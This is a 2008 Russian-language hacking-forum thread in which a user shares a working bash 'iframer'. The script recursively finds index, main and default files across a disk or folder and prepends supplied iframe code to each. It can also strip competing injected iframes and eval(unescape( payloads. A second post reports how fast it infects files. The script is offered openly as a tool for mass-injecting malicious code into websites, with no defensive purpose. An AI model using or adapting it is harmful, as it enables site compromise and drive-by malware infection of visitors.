mystery iframer[local bash]

Discussion in 'Безопасность и Анонимность' started by Ky3bMu4, 2 Mar 2008.

  1. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Написал небольшой локальный iframer на bash`е. Кроме самого баша ничего не требует. Вставляет код в начало файла(index/main/default).
    Позволяет выбрать весь диск для ифрейма(нужен root) или же отдельную папку, есть функция убийсива чужых фреймов(через обрезание '<iframe' и 'eval(unescape(' ),но она использует sed(но он вроде везде есть :D ).

    Code:
    #!/bin/bash
    
    use(){
    	echo "Using: $0 [file with iframe-code] [killing othen iframes(1/0)]"
    	echo "	     $0 [file with iframe-code] [directory to iframe] [killing othen iframes(1/0)]"
    	exit 1
    } 
    
    #Функции для ифрейма(kill/nokill). Разделены на 2 функции в целях увеличения скорости 
    #$1 - файл для инфрейма
    iframe_nokill(){
    	file=`cat $1`
    	echo "$code" > $1
    	echo -n $file >> $1
    }
    
    iframe_kill(){
    	file=`cat $1`
    	file=`echo ${file[@]} | sed "s/<iframe//g" | sed "s/eval(unescape(//g"` 
    	echo "$code" > $1
    	echo -n $file >> $1
    }
    
    path='/'
    if [ $# = 2 ]; then
    	kill=$2
    	if [ $UID != 0 ]; then
    		echo "I need root to iframe /"
    		exit 1
    	fi
    elif [ $# = 3 ]; then
    	path=$2
    	kill=$3
    else
    	echo "Invalid argc!"
    	use
    fi
    
    #ищем индексовые файлы
    find $path -name "index*" 2> /dev/null > /tmp/.files
    find $path -name "main*" 2> /dev/null >> /tmp/.files
    find $path -name "default*" 2> /dev/null >> /tmp/.files
    
    code=`cat $1`
    files=`cat /tmp/.files`
    
    #Циклы тоже разделены в целях увеличения скорости
    if [ "$kill" = 0  ]; then #без убийства
    	for i in ${files[@]/\r\n//}
    	do
    		iframe_nokill $i
    	done
    else #с убийством
    	for i in ${files[@]/\r\n//}
    	do
    		iframe_kill $i
    	done
    fi
    
    rm /tmp/.files
    
    exit 0
    
     
    #1 Ky3bMu4, 2 Mar 2008
    Last edited: 3 Mar 2008
    2 people like this.
  2. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Опять никто не отписывается :) . Немного потестил на предмет производительности - инфреймит 23 60кбайтных меньше чем за 1сек.